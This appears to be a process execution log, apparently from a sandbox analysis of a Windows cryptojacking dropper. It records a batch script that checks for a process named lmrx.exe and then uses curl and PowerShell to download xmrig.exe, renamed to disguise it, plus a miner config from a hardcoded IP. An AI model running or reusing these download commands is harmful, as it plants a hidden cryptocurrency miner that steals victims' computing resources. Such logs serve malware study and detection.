cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "IALlcyCOe" C:\Users\test22\AppData\Local\Temp\a.bat
2536tasklist.exe tasklist /FI "IMAGENAME eq lmrx.exe"
2700find.exe find /I /N "lmrx.exe"
2736curl.exe curl -o lmrx.exe http://193.32.162.34/xmrig.exe
2856curl.exe curl -o config.json http://193.32.162.34/wconfig.json
3048powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/xmrig.exe' -OutFile 'lmrx.exe'"
2216powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/wconfig.json' -OutFile 'config.json'"
2404